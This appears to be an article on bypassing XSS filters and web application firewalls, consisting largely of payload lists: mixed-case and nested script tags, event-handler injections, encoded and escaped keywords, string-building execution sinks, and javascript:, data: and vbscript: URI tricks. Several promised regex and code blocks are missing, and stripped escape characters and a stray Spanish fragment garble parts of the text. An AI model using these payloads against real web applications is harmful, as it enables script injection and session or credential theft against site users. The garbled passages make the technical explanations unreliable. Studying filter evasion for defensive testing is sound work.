How to hack into WAF (Web application firewall) using XSS attacks?

Cross-site scripting (XSS) attacks are a variant of code injection that involves the use of specially crafted scripts on legitimate websites for malicious purposes in order to breach the security of web applications potentially affected by some known security flaw.

Given the popularity of this attack technique, many researchers have specialized in analyzing this attack technique and thus collaborate for the creation of a complete security environment, although threat actors have also published their own guidelines for the deployment of powerful XSS attacks.

This time, web application security experts from the International Institute of Cyber Security (IICS) will show you the main XSS attack vectors abused by hackers, as well as some of the most common practices to address this risk. Before proceeding, please remember that this article was prepared for informational purposes only and should not be taken as a call to action; IICS is not responsible for the misuse that may occur to the information contained herein.

According to specialists, these are the most common scenarios that can be found:

  • The XSS attack vector is blocked by a security application or tool
  • XSS attack vector is disinfected
  • The browser filters or blocks the XSS attack vector

Web application security experts will show us some tactics to evade these security measures, employed by threat actors to find new XSS attack vectors.

Blacklist bypassing

This is one of the most popular security measures due to its ease of implementation. The blacklist detects certain patterns in order to prevent malicious activity in a continuous and effective way.

XSS Code Injection

The tag <script>is the primary method for executing client-side XSS attacks, such as JavaScript.

Evasion of weak security measures on the use of labels<script>

Filters can be weak and not cover all possible cases, web application security experts say. Below are some examples of how to circumvent weak prevention measures.

<ScRiPt>alert(1);</ScRiPt> - Upper- & Lower-case characters
<ScRiPt>alert(1); - Upper- & Lower-case characters, without closing tag
<script/random>alert(1);</script> - Random string after the tag name
<script>alert(1);</script> - Newline after the tag name
<scr<script>ipt>alert(1)</scr<script>ipt> - Nested tags
<scr\x00ipt>alert(1)</scr\x00ipt> - NULL byte (IE up to v9)

ModSecurity> Rule filtering <script> tags

This is how ModSecurity filtra la etiqueta <script>:

SecRule ARGS


Obviously, this isn’t the only way to inject XSS code. There are several ways to execute malicious code, including using HTML tags and their associated event handlers.

<a href="javascript:alert(1)">show</a>
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">show</a>
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data="javascript:alert(1)">
<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64, PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<object data="//">
<embed code="//" allowscriptaccess=always>

Events are how HTML DOM adds interactivity between a website and its visitors; this is achieved by simply running client-side code, web application security experts mentioned.

Almost all event handler identifiers begin with “on” and are followed by the event name.

Onerror is one of the most used:

<img src=x onerror=alert(1)>

But there are many other events.

Here are some examples of HTML 4 tags:

<body onload=alert(1)>
<input type=image src=x:x onerror=alert(1)>
<isindex onmouseover="alert(1)" >
<form oninput=alert(1)><input></form>
<textarea autofocus onfocus=alert(1)>
<input oncut=alert(1)>

On the other hand, below we can find some examples of HTML 5 tags:

<svg onload=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="alert(1)">
<marquee onstart=alert(1)> 

From a web application security standpoint, the solution is to filter out all events that begin with the ‘*’ character to prevent this attack vector from being used.

This is a very common regular expression that we can find:


Thanks to the combination of the “dynamism” of HTML and browsers, we can easily overlook this first filter:

<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)> 

So, we have an “update”:


Still, there is still a problem. Since some browsers convert the escape character into space, the s alone is not enough to cover all possible characters.

Let’s look at some alternative solutions:

<svg onload%09=alert(1)>
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2C%3B=alert(1)>
<svg onload%0B=alert(1)>

We have the first set of control characters that can be used between the attribute of the event name and the equal sign (=), or just before the event name:

IExplorer = [0x09,0x0B,0x0C,0x20,0x3B]
Chrome = [0x09,0x20,0x28,0x2C,0x3B]
Safari = [0x2C,0x3B]
FireFox = [0x09,0x20,0x28,0x2C,0x3B]
Opera = [0x09,0x20,0x2C,0x3B]
Android = [0x09,0x20,0x28,0x2C,0x3B 

Moreover, browsers are constantly evolving, so some of the allowed characters may no longer work. You can run it in your browser or view the results of previously tested browsers. The valid regular expression rule must be as follows:


Keyword filter

Other problems that a signature-based filter can offer include restricting the execution of script code by blocking the use of certain keywords such as alert, javascript or eval, web application security experts mention.

Methods of evasion

There is something known as escape characters in JavaScript that allow us to execute code instead of processing it literally.

Let’s imagine that we need to evade a filter that prevents the alert keyword from being used in the following scenarios.

Unicode > escape characters

<script>alert(1)</script> Alert(1) <— Blocked

Here we see the evasion of Unicode without using native functions:


The escape of Unicode using native functions can also be seen here. Keep in mind that eval is just one of many:


Escape characters> Decimal, Octal, Hexadecimal

If the filtered vector is in a string other than Unicode, we can use multiple escapes:

<img src=x onerror="\u0061lert(1)"/>
<img src=x onerror="eval('\141lert(1)')"/>
<img src=x onerror="eval('\x61lert(1)')"/> 

  • eval (‘ 141lert (1)’) <—– Escape octal
  • eval (‘ x61lert (1)’) <—– Escape hexadecimal
<img src=x onerror="alert(1)"/>
<img src=x onerror="alert(1)"/>
<img src=x onerror="eval('\a\l\ert\(1\)')"/> 

  • to <—– Hexadecimal numeric character
  • to <—— NCR decimal
  • ‘alert (1<—— Superfluous Escape Character

All exhausts can be put on one line.

<img src=x onerror="\u0065val('\141\u006cert\(1)')"/>

Chain construction

To bypass filters, you need to know how to build strings. For example, the alert keyword is restricted as usual, but most likely “ale” + “rt” will not be recognized. Below, web application security experts will show us some examples.

JavaScript has several functions that are useful for creating strings.



Previously, we used the eval function to execute code and events associated with various tags. Execution receivers are functions that parse a string in JavaScript code and JavaScript provides several options.

The reason we need to look at these functions is because if we can control one of them, we can execute JavaScript code.

Here are some examples:

setTimeout("JSCode") //all browsers
setInterval("JSCode") //all browsers
setImmediate("JSCode") //IE 10+
Function("JSCode") //all browsers

An interesting variation of the function receiver:

[]. constructor.constructor(alert(1))
.[] <—— Object
.constructor <——Array
.constructor <—— Function
(alert(1)) <—— XSS Vector 

Pseudo protocols

Javascript is a pseudo protocol that refers to the “unofficial URI scheme”. Calling JavaScript code from a link is useful. Most filters recognize the javascript keyword followed by colons as a common pattern:

a href="javascript:alert(1)">

It’s important to remember that javascript: it’s not required for event handlers, so web application security experts recommend against using it. We can use all of the above options because the pseudo protocol is often entered within a chain.

Let’s look at some examples:

<object data=“javascript:alert(1)”>

javascript <—— Blocked

<object data="JaVaScRiPt:alert(1)">
<object data="javascript:alert(1)">
<object data="java
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">
<object data="javascript:alert(1)">

In addition to javascript: there is also data: (RFC 2397) and an exclusive vbscript: for Internet Explorer.

Let’s see how they work.

Small data elements provided with different media types can be included in the data URI schema. Here’s what the structure looks like:


The text / html and the base64 indicator that allows us to encode our data are the types of media that interest us the most. Let’s take a look at some examples.

If javascript: is blocked:

<object data="data:text/html,<script>alert(1)</script>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="> 

  • PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg == <—– Base64 Encoded
<embed code="data:text/html,<script>alert(1)</script>"> 
  • data: <—— Blocked

If data: is blocked, it is best to use:

<embed code="DaTa:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">
<embed code="data:text/html,<script>alert(1)</script>">

Because it can only be used in Internet Explorer, the pseudo vbscript protocol is not widely used; VBScript no longer supports the Internet zone in IE11 in Edge mode. Let’s take a look at some scenarios.

To call VBScript, we can use vbscript: as well as vbs:

<img src=a onerror="vbscript:msgbox 1"/>
<img src=b onerror="vbs:msgbox 2"/>
<img src=c onerror="vbs:alert(3)"/>
<img src=d onerror="vbscript:alert(4)"/>

Unlike JavaScript, the code is not case sensitive until version 8. When the app changes the input, it’s really useful.

<iMg src=a onErRor="vBsCriPt:AlErT(4)"/>

If vbscript: is blocked, we could use the usual encoding methods:

<img src=x onerror="vbscript:alert(1)">
<img src=x onerror="vbccript:alert(1)">

Sanitization Bypass

Instead of blocking the entire request, security systems often choose to disinfect suspicious XSS vectors. Most likely, these are the filters we will find during our experiments.

The most commonly used HTML encoding of some important characters, such as (<), > (>), etc. This is not always enough, because it depends on where the untrusted data is inserted into the page.

In some cases, the filter can change its vector by removing dangerous phrases. For example, delete the tags <script>.

The rule simply removes the first instance of the matching expression, which is a common mistake with this behavior.

Remove HTML tags

For example, <script>alert (1) </script> is properly disinfected for alert (1), but since the verification is not recursive:

<scr<script> ipt>alert(1)</script>

This could be a solution.

If a filter runs recursive tests, you should always check if it can be used. Changing the sequence of inserted rows can be useful.

Let’s take a look at an example.

Recursive testing may be fine. They start with one label <script>, then the next, and so on, without going back to the beginning to see if there are more dangerous lines.

The following vector can be a workaround:


Of course, if we know or can guess the sequence, we can generate more complex vectors and possibly use multiple character encodings, as we saw in Skip Blacklist Filters.

It all depends on the filter we are addressing, mention the experts in web application security.

Escape quotes

These are HTML tags, and the embeddings are usually within strings in quotation marks. To avoid this type of character, filters typically place the backslash character () in front of quotation marks.

To avoid this, the backslash should also be avoided. Consider the following code, where we can manipulate the randomkey value, but the quotation marks escape:

<script>var key = 'randomkey';</script>

Instead of randomkey, if we enter randomkey’alert (1); then we have a solution. This is because the application avoids the apostrophe by converting our entry into randomkey’alert (1); //.

But this will avoid only the backslash, which will allow us to finish the line and enter the warning code. One of the useful Methods of Javascript is String.fromCharCode(). This allows us to generate strings from a sequence of Unicode values.

We could also play with the unescape method to escape the generated chain. For example, we could escape the string using the .source method.


Although this feature is obsolete, many browsers still support it.

In addition to this, there are the decode URI and decodeURIComponent methods. In this case, the characters must be URL-encoded to avoid incorrect URI formatting errors.


These methods would be useful if you could inject them into a script or event handler, but you can’t use quotation marks because they’ve already escaped. Remember that each will return a string, so you need an execution receiver (IE: eval) to execute the function.

Protect your web applications from XSS attacks

Filtering methods are not a solution in themselves, as hundreds of ways to evade filters and new attack vectors are constantly emerging. Filters do not prevent XSS attacks; rather, they remove a small part of the code patterns that can be used in such an attack; in fact, instead of blocking the malicious code, filtering solves the wrong problem by trying to avoid any calls that load the wrong code itself.

Developers and users can have a greater impact on web application security than any filter, so it’s important to increase awareness of these kinds of issues in order to avoid their frequent occurrence.

To learn more about information security risks, malware variants, vulnerabilities and information technologies, feel free to access the International Institute of Cyber Security (IICS) websites.